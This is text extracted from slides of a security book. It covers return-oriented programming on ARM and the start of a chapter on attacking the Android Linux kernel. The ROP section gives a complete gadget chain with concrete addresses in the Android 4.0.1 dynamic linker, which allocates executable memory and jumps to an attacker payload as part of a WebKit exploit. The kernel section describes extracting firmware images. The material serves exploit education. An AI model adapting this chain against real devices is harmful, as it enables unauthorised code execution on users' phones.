Chapter 9 ■ Return Oriented Programming 295 c09.indd 01:20:31:PM 02/24/2014 Page 295 the program counter these gadgets typically end in the very instruction that is also used to return from legitimate procedures. The attacker can then choose a series of gadgets that when sequentially executed implement their payload. Figure 9-2 shows how such chaining of gadgets looks on the x86 architecture. With further generalization of this technique you can use any gadget ending in an indirect branch. For example indirect branches or branches that read the branch target from a register are usable. The methodology is similar to that of ROP except that the respective register has to be loaded with the following gadget’s address beforehand. Because the methodology there is very dependent on the actually available gadgets this chapter does not cover this topic in more depth. Address I Address II Address III . . . . . . Gadgets Stack mov rax rbx ret mov rsi rcx ret call rax ret Figure 9-2: x86 ROP Gadget stack chaining ARM Subroutine Calls In accordance with the ARM ABI Application Binary Interface the standard that def nes how compiled software should be structured on ARM a subroutine’s return address is not generally stored on the stack. Instead it is held in the link register lr which serves this specif c purpose. Functions are invoked with the bl or blx instructions that load the address of the following instruction into the lr register and then branch to the specif ed function. The called function then typically returns using the bx lr instruction. Because the program counter on ARM is treated like any other register that can be read from and written to it is also possible to just copy the value of the lr into the pc register. Therefore mov pc lr can be a valid function tail too.

slide 328:

296 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 296 However the ARM processor also supports two major execution modes: ARM and Thumb including the Thumb2 extension. Switching between modes is accomplished using a technique called Interworking. For example the bx lr instruction examines the low bit of the lr and switches to Thumb mode if it is set or ARM mode if it is not set. Underneath this low bit gets masked off and stored in the f fth bit of the Current Program Status Register CPSR. This bit called the T-bit determines which execution mode the processor is in. Analogously the bl and blx instructions set the low bit in the lr when the calling function is in Thumb mode. Therefore it is only possible to use the mov pc lr instruction when both the calling and called functions use the ARM instruction encoding. Because there is no performance difference between the mov pc lr and bx lr instructions any modern compiler only emits bx lr instructions to return from procedures when conf gured to build code for ARMv6 as shown in Figure 9-3. A lr contents bx lr pc contents CPSR contents … 31 1 0 AT A… 31 1 6 0 A0 … 31 4 0 T 5 … Figure 9-3: Interworking procedure return Upon reading this exploit developers may immediately wonder how exploita- tion of even simple stack overf ows can be accomplished because the traditional technique on x86 involves overwriting the caller’s return address stored on the stack. Using a single register for storing the return address into the calling pro- cedure works f ne for leaf procedures but is insuff cient when a routine wants to call other subroutines by itself again. To accommodate this ARM compilers generate code that saves the lr on the stack on routine entry and restores it from the stack before executing the bx lr to return to its calling routine as shown in the following code. ARM Instructions Calling a Subroutine stmia sp r4 lr Store link register and callee-saved r4 on stack ... bl subroutine Call subroutine trashing link register ... ldmia sp r4 lr Load original link register and r4 from stack bx lr Return to calling code

slide 329:

Chapter 9 ■ Return Oriented Programming 297 c09.indd 01:20:31:PM 02/24/2014 Page 297 The Thumb instruction encoding features special push and pop instructions that implicitly work on the sp register the stack pointer instead of referencing it explicitly. As a special extension to that a pop instruction referencing the pc register handles the written value in the same way as the bx lr instruction thus enabling Interworking with a single instruction as in the following code. Thumb Instructions Calling a Subroutine push lr Store link register on stack ... bl subroutine Call subroutine trashing link register ... pop pc Load original link register and return to calling code The Thumb pop pc instruction is very much like the x86 ret instruction in that it retrieves a value from the stack and continues execution there. The notable difference is that the pop instruction can serve as a whole epilogue also restoring other registers with a single instruction. However a Thumb leaf routine can still end in a bx lr instruction when the lr still contains the proper value. Combining Gadgets into a Chain Recall that your goal is to use existing code sequences for forming your payload. If the attacker is able to control the stack any sequence of instructions ending in either bx lr or pop … pc lets the attacker maintain control over the pro- gram counter and can be used as a gadget. Thanks to Interworking ARM and Thumb gadgets can even be arbitrarily mixed. The only exception here is that the rare gadgets ending in ARM mov pc lr can only be followed by another ARM gadget because they do not support Interworking. Combining gadgets that restore the lr from the stack using an ldmia sp ... lr before bx lr or simply pop ... pc is straightforward. Because they load lr from the stack and then continue execution there the address of the next gadget can be simply supplied on the stack. In addition to gadget addresses register values potentially restored by function epilogues must be supplied even if they serve no functional purpose in the ROP payload. This is because the stack pointer otherwise does not line up with the next intended gadget. If the next gadget uses Thumb instructions additionally the low bit must be set so the processor correctly switches to Thumb mode. This is even true when the processor is in Thumb mode already as it would assume the calling function was in ARM—and therefore transition to ARM mode—if the low bit was not set. For purposes of demonstration assume that in Figure 9-4 you have just per- formed a stack overf ow that allowed you to write whatever you want onto the stack including nulls and that you are about to execute a pop pc instruction. In the presence of non-executable stack you exploit the vulnerability by calling

slide 330:

298 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 298 mprotect to re-protect the stack as executable and execute your native code in place. In that case your payload written onto the stack may look something like Figure 9-4. b00038cb Stack Gadget pop r0-r4 pc r0 r1 r2 r3 r4 pcb000... Figure 9-4: Simple POP-ROP chain Gadgets from leaf procedures––ending in bx lr without restoring lr f rst–– require special handling of the lr value prior to executing that gadget. Typically the value contained in lr is the address of the gadget following the last ARM gadget that restored the value of lr explicitly because the ARM gadget restored lr from the stack and set it to the address of the next gadget. When a whole procedure that invokes subprocedures was used lr points to after the last sub- procedure call in that procedure resulting in even more unexpected behavior. When another gadget ending in bx lr would be executed it would actually jump right after that very sub-procedure call instead of the next gadget intended to be executed. If lr still points to a previously used gadget that has no destruc- tive side effects it is often easiest to account for the execution of that previously used gadget by providing the required restored values on the stack. However if lr points anywhere into a bigger procedure or the gadget cannot be executed a second time the value of lr itself must be adjusted. This can be done generically by combining an ARM gadget that explicitly restores lr with a Thumb gadget that ends in a pop pc instruction as shown in Figure 9-5. The ARM gadget loads the address of the next gadget into lr and branches there the following Thumb gadget also simply branches to the next gadget. But as a side effect lr now points to a Thumb gadget that allows seamless continua- tion and any gadget ending in only bx lr can be safely executed. Now it is p os- sible to use any instruction sequence ending in a procedure return as a gadget.

slide 331:

Chapter 9 ■ Return Oriented Programming 299 c09.indd 01:20:31:PM 02/24/2014 Page 299 b000133c Stack . . . . Gadget Register lr pop r0 lr bx lr pop pc b0002ab0 r0 lr b0002ab0 pc Figure 9-5: Set lr to pop pc chain Identifying Potential Gadgets Because the ARM processor requires aligned instructions it is generally only possible to use intentionally generated code—or more specif cally compiler generated routine epilogues—as gadgets. This differs from the x86 architecture’s unaligned Complex Instruction Set Computing CISC instruction set. Because the return instruction is only one byte on x86 it is often possible to jump into parts of bigger instructions that coincidentally contain a byte resembling the return instruction. This vastly increases the amount of available gadgets on x86. Identifying a list of potential gadgets is very easy on Reduced Instruction Set Computing RISC architectures like ARM. With its always-aligned instructions one can simply scan a binary image for instructions that perform a function return such as pop ... pc. Examining the previous instructions in an assem- bler dead listing already shows the potential gadgets. Therefore f nding gadgets can be as easy as creating an ARM and a Thumb dead listing for a given binary and parsing the output with regular expressions. A script using this technique was used to create the ROP chain presented in this chapter. A trick similar to jumping into parts of bigger instructions on x86 also exists on ARM: Because it is possible to freely switch between ARM and Thumb modes it is also possible to misinterpret any existing ARM code as Thumb code and vice versa. Although this typically does not provide useful gadgets longer than one or two instructions interpreting the upper two bytes of an ARM instruction can often provide surprisingly useful pop ... pc Thumb instructions. These instructions often restore registers that are typically not restored in common routine epilogues such as the caller-saved registers r0 to r3 or the stack pointer

slide 332:

300 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 300 itself. A breakdown of both the Thumb and ARM view of such an example is provided in Figure 9-6. “lt” condition 1011 1011 Thumb “pop” instruction not r5−r7 r0−r4 pc pop r0−r4 pc 110 000 11111 1 0×bf 0×1f 0×60 0×19 ARM Thumb 110 000 1 1111 1 P “ldc” instruction ldclt 0 cr6 pc −100 flags … “pc” f i x e d Figure 9-6: Breakdown of misinterpreted pop Also special code dealing with exception unwinding and early process ini- tialization can contain immensely useful gadgets. Those have been specif cally implemented in the assembler to deal with low-level architecture components. They occur for example in the C library and dynamic linker as used in the next section. Case Study: Android 4.0.1 Linker Because most processes running on Android are forked from the Zygote base process they often share a lot of libraries. However some native processes are not forked from Zygote and might have an entirely different process layout. One example is the Radio Interface Layer Daemon rild as discussed in Chapter 11. But even those processes are all dynamically linked and therefore all have one common code mapping in their address spaces: the Dynamic Linker. This is the part of code that recursively resolves the dynamic library dependencies in a process’s base binary and loads all the dependencies. It then resolves all the symbols imported from other libraries and adjusts addresses accordingly. It also takes care of applying relocations for binaries that have been moved to another address than the expected base address for example due to Address Space Layout Randomization ASLR.

slide 333:

Chapter 9 ■ Return Oriented Programming 301 c09.indd 01:20:31:PM 02/24/2014 Page 301 On Android 4.0 and earlier the Bionic dynamic linker is mapped at a static address 0xb0001000. Due to this fact no information leak was required to craft your ROP payload. As of Android 4.1 Jelly Bean the dynamic linker’s base address is randomized like any other binary’s base address as discussed in Chapter 12. Besides being present in all processes and having a f xed base address on old Android versions the dynamic linker is also a comparatively stable binary. That is the binary representation does not vary as much as other libraries. The contents of most libraries contained in Android processes f uctuate between different phones or even specif c f rmware images ROMs of the same Android version. The dynamic linker in turn has been very constant. Likely due to the sensitivity and criticality of this component it is almost always left untouched and compiled with the prebuilt compilers coming with the Android source distribution. Note that the dynamic linker contains a copy of the Bionic memcpy implementation at a low offset. Because memcpy is heavily optimized for the tar- get architecture its varying instruction streams result in slight offset variations for different processor feature sets. As a consequence any linker ROP chains’ gadget addresses are specif c to a certain processor feature set. For those reasons the dynamic linker is the perfect goal for crafting a some- what generic ROP chain that can be potentially reused on as many targets as possible. As a case study this chapter examines an ROP chain for the Android 4.0.1 dynamic linker as found on the Galaxy Nexus. This case study is intended to continue the WebKit exploit introduced in Chapter 8. Because Android has no signature enforcement on executable code mappings the ROP chain simply allocates one page 4096 bytes of executable memory cop- ies an attacker-provided native code there and jumps to it. This allows plugging in an arbitrary user-mode payload into an exploit by supplying different code. Pivoting the Stack Pointer Usually the f rst step in launching an ROP payload is getting the stack pointer to point at attacker-supplied data such as the heap which is also called Pivoting. When exploiting stack-based buffer overf ows the stack pointer is usually close to the ROP payload and pivoting can be easy. When the attacker-supplied data resides on the heap pivoting the stack can be one of the most challenging tasks involved in creating a functional ROP chain. Going back to the example from Chapter 8 we assume we have gained control of the program counter via hijacking a virtual function pointer in a RenderObject class and cleverly faking the corresponding vtable. Even for other scenarios such as a generic use-after-free on the main heap it is often necessary to pivot the stack pointer onto the heap. Depending on the bug being exploited there might be better-suited techniques instead of the generic approach presented here. One example is the presence of a heap pointer on the stack due to a local

slide 334:

302 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 302 variable. This pointer can then be used by a frame pointer to stack pointer restoring epilogue to pivot into the heap. There is one particularly interesting gadget in the linker that allows setting all registers to absolute user-def ned values. This master gadget is so powerful that it has been previously independently chosen by at least one other exploit writer for a private exploit. It is part of unused exception unwinding code and its Android 4.0.1 incarnation looks like the following: .text:B0002868 EXPORT __dl_restore_core_regs .text:B0002868 .text:B0002868 ADD R1 R0 0x34 .text:B000286C LDMIA R1 R3-R5 .text:B0002870 STMFD SP R3-R5 .text:B0002874 LDMIA R0 R0-R11 .text:B0002878 LDMFD SP SP-PC .text:B0002878 End of function __dl_restore_core_regs The power of this function lies in the multiple entry points one can choose to turn it into a gadget: ■ Starting from the end by using 0xb0002878 as gadget start address the stack pointer is loaded from the current stack together with lr and the new program counter. This is a useful gadget when the topmost local variable in the stack frame points to user-controlled data but that is a highly bug-specif c scenario. ■ When jumping to 0xb0002870 the register contents of r3 r4 and r5 are stored on the top of the stack frame before sp lr and pc are restored from there. This is useful when r3 points to user-controlled data and r5 to some valid code for example a function pointer from the bug environment. ■ Alleviating the previous rather strong requirements one can jump to 0xb000286c and load the future contents of sp lr and pc by dereferencing the memory at r1. This allows either abusing an existing memory object with pointers to user-controlled data at the f rst double word or when the contents pointed to by r1 are fully user controlled and the value to set the stack pointer to can be determined reliably. This is an especially interest- ing gadget. The compiler often generates code to load the vtable pointer into r1 when calling a vtable function that does not have any parameters. Because in this scenario you need to fake a vtable for pc control you can likely also control the f rst double word of it and thereby sp using this pivot gadget. ■ Lastly when using the entire function as pivot gadget by jumping to 0xb0002868 sp can be set by dereferencing r0 with an offset of 0x34. Although this offset at f rst seems random it is actually quite handy for

slide 335:

Chapter 9 ■ Return Oriented Programming 303 c09.indd 01:20:31:PM 02/24/2014 Page 303 real-world cases. For all hijacked vtable calls r0 will be the “this” pointer. This very often allows controlling data at offset 0x34 by manipulating member variables of the class in question. If the pivots provided by the master gadget do not f t a particular use case there are even more options thanks to the call-sites of this function: .text:B0002348 ADD R0 SP 0x24C .text:B000234C BL __dl_restore_core_regs .text:B00023D0 ADD R0 R4 4 .text:B00023D4 BL __dl_restore_core_regs .text:B00024F0 ADD R0 R5 4 .text:B00024F4 BL __dl_restore_core_regs Using these additional addresses you can also load sp dereferencing from r4 + 0x38 r5 + 0x38 and from further down the current stack. By pivoting the stack pointer to point into entirely user-controlled data you can now proceed to craft a ROP chain of suff cient length to allocate executable memory copy the payload there and transfer control f ow to the native code. Executing Arbitrary Code from a New Mapping Now that you control the stack pointer and consequently also the contents of the stack you can provide list of gadget addresses to be sequentially executed. Because your overall choice of gadgets from the linker is limited and construct- ing a new target-specif c ROP chain for each payload is cumbersome you fol- low the common approach of creating a generic chain that allocates executable memory and executes any native code there. Such a chain is commonly referred to as an ROP stager. The f rst goal is to allocate executable memory to work with. This is how you execute arbitrary code despite the XN protection. Pages are allocated with the mmap system call on Linux. Fortunately the linker contains a full copy of the Bionic mmap implementation. This copy resides at 0xb0001678 in the example linker. The mmap function expects six arguments. Per the Android Embedded Application Binary Interface EABI the f rst four arguments are passed in r0 through r3 and the last two are pushed onto the stack. Therefore you need a separate gadget initializing r0 to r3 to your desired values. One such gadget is the following: .text:B00038CA POP R0-R4PC

slide 336:

304 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 304 The mmap function and this gadget can then be combined to call mmap with arbitrary parameters. This allows allocating executable memory to which your native code can be copied and then executed. However note that the entire mmap function is invoked and it in turn returns to the contents of lr It is therefore imperative to set lr to a gadget that advances the stack pointer over the two stack arguments and then loads pc from the stack. Advancing the stack pointer by eight bytes can be accomplished using a pop of two registers therefore this Thumb gadget can be used: .text:B0006544 POP R4R5PC When using the pivot gadget introduced earlier lr can be set to 0xb0006545 as part of the pivot already. Otherwise a gadget setting lr from the stack must be inserted at the beginning of the ROP chain. Although mmap usually chooses the address to allocate memory at for you there are special f ags that allow allocating at a f xed address. This makes developing an ROP chain easier as a result mmap which normally holds the address can be discarded. Instead the statically chosen address can be hard-coded in other places of the ROP chain. More details about the mmap arguments are available from its man page. The static address chosen here is 0xb1008000 which is a fair bit after the linker in a typically unused address range. This results in the following f rst part of the ROP chain: 0xb00038ca pop r0-r4pc 0xb0018000 r0: static allocation target address 0x00001000 r1: size to allocate one page 0x00000007 r2: protection read write execute 0x00000032 r3: flags MAP_ANON | MAP_PRIVATE | MAP_FIXED 0xdeadbeef r4: don’t care 0xb0001678 pc: __dl_mmap returning to lr 0xb006545 0xffffffff fifth parameter on stack: fd -1 0x00000000 sixth parameter on stack: offset 0 0xdeadc0de next gadget’s address After executing mmap lr points into mmap itself because it invokes a subroutine and thereby sets lr to the address following that subroutine invocation. This is important if later gadgets return to lr like mmap did. At this point the memory to execute the native code has been allocated but currently contains just zeroes. The next step is to copy the payload into that memory allocation and transfer the control there. Copying the memory can be achieved with the linker’s internal copy of memcpy. However even if a pointer to

slide 337:

Chapter 9 ■ Return Oriented Programming 305 c09.indd 01:20:31:PM 02/24/2014 Page 305 the native code was available in a register at the control f ow hijack that register is very well clobbered now. It is usually possible to save the pointer value and retrieve it later but not always. In this case study you instead abuse a specif c property of adjacent WebKit strings. The data structure used to represent strings in WebKit contains among other elements a pointer to the actual string data. Figure 9-7 depicts a concrete example of this data structure. By splitting the ROP chain across the boundary of two strings it is possible to take advantage of the data pointer. The f rst part of the ROP chain can pop enough data off of the stack currently pointing into the f rst string to load the data pointer into a register and continue the ROP chain from the second string’s contents. Figure 9-7 shows how the string header memory overlaps what will be loaded into registers: 0×b0005915 pop r0−r6 pc pc pc r0 r1 r2 r3 r4 r5 r6 m_refCount m_length m_data8 union m_hashAndFlags Heap Header StringImpl pointer next Gadget 0 0 0 0×3023 0×88 0×1802 0×910674 0×deadbeef Figure 9-7: Pop over string header For your purposes it will be useful to have the string pointer in r4. This is equivalent to ending the f rst string in the address of a pop gadget that f rst pops the heap header and string size and reference count into r0 to r3 and then the actual pointer into r4. If a higher register is desired padding at the end of the f rst string can be introduced. There are two more header elements to be skipped so the optimal gadget again a Thumb gadget is the following: .text:B0005914 POP R0-R6PC

slide 338:

306 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 306 Also the other parameters for mmap need to be surgically set up. First you set up r0 the destination of the copy. There is a gadget that also f xes up lr at the same time: .text:B000131C LDMFD SP R0LR .text:B0001320 BX LR Because no stack parameters need to be cleaned up in the following gadgets lr can simply be pointed to a gadget that just fetches the next pc from the stack. Next r2 must be loaded with the length to copy. Also r3 needs to point to some writable memory later. You reuse your static allocation for this location. Accordingly the next gadget is: .text:B0001918 LDMFD SP R2R3 .text:B000191C BX LR Note that the bx lr is equivalent to a pop pc now. With r3 pointing to valid memory the following Thumb gadget for moves r4—which still holds the pointer to the second string’s contents—into r1: .text:B0006260 MOV R1 R4 .text:B0006262 B loc_B0006268 … .text:B0006268 STR R1 R3 .text:B000626A B locret_B0006274 … .text:B0006274 POP R4-R7PC The resulting second part of the ROP chain looks like the following: 0xb0005915 pop over heap and string headers pointer goes into r4 ↓ second string starts here 0xb000131c pop r0 lr bx lr 0xb0018000 r0: copy destination allocation address 0xb0002ab0 lr: address of pop pc 0xb0001918 pop r2 r3 pc 0x00001000 r2: copy length one page 0xb0018000 r3: scratch memory allocation address 0xb0006261 r1 - r4 r3 - r4 pop r4-r7 0xdeadbeef r4: don’t care 0xdeadbeef r5: don’t care

slide 339:

Chapter 9 ■ Return Oriented Programming 307 c09.indd 01:20:31:PM 02/24/2014 Page 307 0xdeadbeef r6: don’t care 0xdeadbeef r7: don’t care 0xdeadc0de pc: next gadget’s address Now all register arguments to memcpy have been set and lr points to a pop pc sequence so memcpy returns normally. All that’s left to do is invoke memcpy and then jump to the code. The memory allocation contains the contents of the second string so the native code should immediately follow the ROP chain. Consequently jumping into the allocation must be offset by the length of the ROP chain. The resulting full ROP chain is the combination of the two previous parts with the memcpy invocation and lastly the jump into the payload: 0xb00038ca pop r0-r4 pc 0xb0018000 r0: static allocation target address 0x00001000 r1: size to allocate one page 0x00000007 r2: protection read write execute 0x00000032 r3: flags MAP_ANON | MAP_PRIVATE | MAP_FIXED 0xdeadbeef r4: don’t care 0xb0001678 pc: __dl_mmap returning to lr 0xb006545 0xffffffff fifth parameter on stack: fd -1 0x00000000 sixth parameter on stack: offset 0 0xb0005915 pop over heap and string headers pointer goes into r4 ↓ second string starts here 0xb000131c pop r0 lr bx lr 0xb0018000 r0: copy destination allocation address 0xb0002ab0 lr: address of pop pc 0xb0001918 pop r2 r3 pc 0x00001000 r2: copy length one page 0xb0018000 r3: scratch memory allocation address 0xb0006261 r1 - r4 r3 - r4 pop r4-r7 0xdeadbeef r4: don’t care 0xdeadbeef r5: don’t care 0xdeadbeef r6: don’t care 0xdeadbeef r7: don’t care 0xb00001220 __dl_memcpy returns to and preserves lr 0xb00018101 Thumb payload jump

slide 340:

308 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 308 Summary In this chapter you found out why and how to effectively use ROP on the ARM architecture for achieving arbitrary native code execution. The primary reason to use ROP on recent Android versions is the presence of the XN mitigation which prevents an attacker from directly executing regular data in memory. Even without the XN mitigation using ROP can overcome the separate instruc- tion and data caches of the ARM architecture. Despite the perceived diff culty of using ROP in the presence of lr-based returns general stack-based ROP is still feasible due to the presence of pop pc gadgets. Even gadgets ending in a bx lr instruction can be leveraged by cleverly pointing lr to a single pop pc instruction. Confusing ARM instructions for Thumb pop ... pc instructions yields even more potential gadgets. The current execu- tion mode can be switched by utilizing Interworking support namely setting the low bit of a gadget address to switch to Thumb mode. Finding gadgets is an easy task on RISC architectures like ARM. A simple dead listing produced by a disassembler is suff cient due to f xed-length instruction encoding. A reusable example ROP chain for the Android dynamic linker was provided and explained in depth. On Android 4.0 and prior versions the linker base address was f xed so a ROP chain can be crafted without an information leak. Because the dynamic linker must be present in any dynamically linked binary which includes almost all binaries on a default Android build it can be reused for a variety of attack targets. The next chapter provides you with the tools and techniques needed to develop debug and exploit Android’s operating system kernel.

slide 341:

309 c10.indd 11:11:6:AM 02/25/2014 Page 309 The Linux kernel is the heart of the Android operating system. Without it Android devices would not be able to function. It interfaces user-space software with physical hardware devices. It enforces the isolation between processes and governs what privileges those processes execute with. Due to its profound role and privileged position attacking the Linux kernel is a straightforward way to achieve full control over an Android device. This chapter introduces attacking the Linux kernel used by Android devices. It covers background information about the Linux kernel used on Android devices how to conf gure build and use custom kernels and kernel modules how to debug the kernel from a post-mortem and live perspective and how to exploit issues in the kernel to achieve privilege escalation. The chapter concludes with a few case studies that examine the process of turning three vulnerabilities into working exploits. Android’s Linux Kernel The Linux kernel used by Android devices began as Russell King’s project to port Linux 1.0 to the Acorn A5000 in 1994. That project predated many of the efforts to port the Linux kernel to other architectures such as SP ARC Alpha or MIPS. Back then the toolchains lacked support for ARM. The GNU Compiler Collection GCC did not support ARM nor did many of the supplementary CHAPTER 10 Hacking and Attacking the Kernel

slide 342:

310 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 310 tools in the toolchain. As time went on further work was done on ARM Linux and the toolchain. However it wasn’t until Android that the ARM Linux kernel received so much attention. Android’s Linux kernel was not created overnight though. In addition to previous porting efforts the Android developers made numerous modif cations to the kernel to support their new operating system. Many of these changes which are discussed in Chapter 2 come in the form of custom drivers. Of par- ticular note is the Binder driver which is central to Android’s inter-process communication IPC. The Binder driver lays the groundwork for communica- tion between native and Dalvik components as well as for app building blocks such as Intents. Further the importance of security on a device as sensitive as a smartphone has led to the implementation of numerous hardening measures. One very important aspect of Android’s Linux kernel is that it is a monolithic kernel. In contrast to a microkernel architecture where many drivers run in a less privileged context though still more privileged than user-space everything that is part of the Linux kernel runs entirely in supervisor mode. This property in conjunction with the vast exposed attack surface makes the kernel an attrac- tive target for attackers. Extracting Kernels In addition to being a monolithic kernel Android’s Linux kernel is distributed as a monolithic binary. That is its core consists of only a single binary f le often called a zImage. The zImage binary consists of some bootstrap code a decom- pressor and the compressed kernel code and data. When the system boots the compressed image is decompressed into RAM and executed. This is a simplistic overview of the process and is likely to change in future releases of Android. Getting a hold of the binary image that runs on any particular device is attractive for a number of reasons. First of all depending on the conf guration used the kernel build tools embed several interesting things into the image. Of particular note are global function and data symbols which are covered in more detail in the “Extracting Addresses” section later in this chapter. Second it is possible to analyze the code with a tool like IDA Pro to f nd vulnerabilities through binary auditing. Third kernel images can be used to verify the pres- ence of or to port an exploit for a previously discovered vulnerability. Also at a higher level kernel images can be used to craft custom recoveries for new devices or back port new versions of Android to older unsupported devices. By no means is this an exhaustive list of the reasons you might want to get your hands on kernel binaries but it covers the most common cases. To get the binary kernel image you f rst need to get an image of the boot partition. You can do this using a few methods. The f rst method and probably the easiest is to extract them from stock f rmware images sometimes called

slide 343:

Chapter 10 ■ Hacking and Attacking the Kernel 311 c10.indd 11:11:6:AM 02/25/2014 Page 311 ROMs. The process varies from one original equipment manufacturer OEM to another but rest assured that full stock images always contain these binaries. Also this method is especially useful when trying to achieve initial root access to a device. The second method which requires a rooted device is to extract them directly from the target device itself. This method is especially useful for porting or targeting a single device and can still be used in the event that a full stock ROM is not available. Finally kernel binaries for many Android Open Source Project AOSP–supported devices are available under the device directory in the AOSP repository. Experience shows that this is the least reliable method because these binaries often lag behind or differ from the kernels used on the live device itself. The next section takes a closer look at how you get kernel images using the f rst two methods. Extracting from Stock Firmware Acquiring the stock f rmware for a given device ranges from trivial to quite chal- lenging. On the trivial side Google posts factory images for Nexus devices at https://developers.google.com/android/nexus/images. Downloading them does not require any authentication or payment and they use the common TAR and ZIP archive tools to package them. On the challenging side some OEMs use proprietary f le formats to distribute their f rmware. If no open source tool is available accessing the contents may require using the OEMs’ proprietary tools. This section explains how to extract the boot.img from various stock f rmware images and then shows you how to extract an uncompressed kernel from the boot image. Nexus Factory Images Kernel binaries for Nexus devices are very easy to obtain because factory images are widely available and promptly posted. For example Android 4.4 was released during the writing of this manuscript. Using the factory image for the Nexus 5 you are able to extract and further analyze the live kernel. After downloading the factory image decompress it: dev:/android/n5 tar zxf hammerhead-krt16m-factory-bd9c39de.tgz dev:/android/n5 cd hammerhead-krt16m/ dev:/android/n5/hammerhead-krt16m ls bootloader-hammerhead-HHZ11d.img flash-all.bat flash-all.sh flash-base.sh image-hammerhead-krt16m.zip radio-hammerhead-M8974A-1.0.25.0.17.img

slide 344:

312 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 312 The images for the boot and recovery partitions are in the image-hammerhead- krt16m.zip archive as boot.img and recovery.img respectively. The boot.img is the most interesting f le because it is the kernel used on normal boots: dev:/android/n5/hammerhead-krt16m unzip -d img \ image-hammerhead-krt16m.zip boot.img Archive: image-hammerhead-krt16m.zip inflating: img/boot.img dev:/android/n5/hammerhead-krt16m cd img dev:/android/n5/hammerhead-krt16m/img At this point you have the boot.img but you still need to get the kernel out. The process for doing that is explained in the “Getting the Kernel from a Boot Image” section later in this chapter. OEM Stock Firmware Finding and extracting kernels from the stock f rmware images provided by OEM vendors is much more convoluted than doing it for Nexus devices. As stated previously each OEM has its own process tools and proprietary f le format for its stock ROMs. Some of these vendors don’t even make their stock f rmware images readily available. Instead they force you to use their tools for image acquisition. Even those vendors that do provide stock f rmware images often require that you use proprietary tools to extract or f ash ROMs. This sec- tion explains the process of extracting a boot.img from a stock f rmware image for each of the top six Android device vendors. A list of f ashing and f rmware extraction tools for some of these OEMs is provided in Appendix A. ASUS ASUS makes stock f rmware images available on its support website in the form of zipped blob f les. A project called “BlobTools” on Github supports extracting the blob which contains the desired boot.img. HTC HTC doesn’t routinely release stock f rmware images but it has released a couple on its Developer Center site. However you can f nd many HTC ROMs through third-party aggregation sites. These stock images are released as ROM Update Utilities RUUs. Luckily several open source tools that extract the rom. zip from within the RUU are available. This alleviates the need for a Windows machine. Inside the rom.zip the boot_signed.img is a boot.img with an extra header. You can extract it like so: dev:/android/htc-m7-ruu unzip rom.zip boot_unsigned.img ... inflating: boot_signed.img dev:/android/htc-m7-ruu dd ifboot_signed.img ofboot.img bs256 skip1 ... After stripping the 256 byte header off you have the desired boot.img.

slide 345:

Chapter 10 ■ Hacking and Attacking the Kernel 313 c10.indd 11:11:6:AM 02/25/2014 Page 313 LG LG’s update and recovery infrastructure is complex and proprietary. Its LG Mobile Support tool even requires using an International Mobile Equipment Identity IMEI to query its back-end systems. Luckily searching for the model number along with “stock ROM” enables you to easily locate stock ROMs for most devices. To make matters worse though LG uses a variety of proprietary formats for these ROMs including BIN/TOT KDZ and CAB. Extracting and f ashing these ROMs can be diff cult. A pair of tools from community developers eases the process. Starting from a CAB f le the process takes three steps. First extract the CAB f le using one of the few tools that support this compression format. Next use the binary-only LGExtract tool Windows only to extract the WDB f le into a BIN f le. You can f nd this tool on the XDA Developers forum at http://forum.xda-developers.com/showthread.phpt1566532. Finally use LGBinExtract from https://github.com/Xonar/LGBinExtractor to extract the BIN into its components. Inside the BIN directory there will be a f le called 8-BOOT.img. The number may vary but this is the f le you’re after. Among the top six OEMs the process for LG stock f rmware is by far the most complex. Motorola Like most OEMs Motorola does not provide direct downloads for their stock f rmware images. Because there is a need for open access to these images sev- eral community sites host them. Older Motorola devices use the proprietary SBF f le format which can be extracted using sbf_flash’s -x option. The f le called CG35.img is the boot.img you seek. Newer devices use a zip f le .xml. zip containing the various partition images including boot.img. Samsung Samsung distributes stock f rmware using its proprietary Kies tool. Apart from this tool the community f rmware site SamMobile hosts a large number of stock ROMs for Samsung devices. Samsung stock images use a .tar.md5 f le extension which is just a TAR f le with a text MD5 appended. These are usually zipped too. Extracting the zip and then the TAR produces the desired boot.img f le. Sony Sony distributes stock firmware via its Sony Update Service SUS tool. Additionally a community site called Xperia Firmware hosts f rmware images for many devices. Sony device f rmware is distributed in a format called FTF which is just a zip f le. Inside however there are proprietary f les for each com- ponent of the f rmware. The f le that is most interesting to us here is kernel .sin. Unlike other OEMs Sony does not use the boot.img format. The Andoxyde tool is large and unwieldy but it supports extracting the kernel image from this f le. It’s also possible to extract the compressed kernel using binwalk and/ or dd. Binwalk reveals an ELF binary and two gzip streams. The f rst gzip stream is the zImage f le that you ultimately seek to extract.

slide 346:

314 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 314 Extracting from Devices Unlike the process of extracting from stock f rmware there is little variance in the process of extracting kernel images directly from devices. The process is largely the same regardless of the device type model manufacturer carrier etc.. The general process involves f nding the corresponding partition dump- ing it and extracting it. There are a handful of ways to f gure out exactly which partition holds the boot.img data. First you can use the by-name directory within the System-On- Chip SoC–specif c entry in /dev/block/platform: shellandroid:/data/local/tmp cd /dev/block/platform//by-name shellandroid:/dev/block/platform/msm_sdcc.1/by-name ls -l boot lrwxrwxrwx root root 1970-01-02 11:28 boot - /dev/block/mmcblk0p20 WARNING Some devices have an aboot entry in the by-name directory too. Be careful not to write to this partition in lieu of the boot partition. Doing so may brick your device. You can use this symbolic link directly or you can use the block device to which it points. The next method looks at the f rst several bytes of each partition: rootandroid:/data/local/tmp/kernel for ii in /dev/block/m do \ BASE`../busybox basename ii` \ dd ifii ofBASE count1 2 /dev/null \ done rootandroid:/data/local/tmp/kernel grep ANDROID Binary file mmcblk0p20 matches Binary file mmcblk0p21 matches Unfortunately this gives you two matches or possibly more. Remember that both the boot and recovery partitions use the same format. By peering into the header you can tell the boot partition apart because it has a smaller ramdisk_size f eld than the recovery 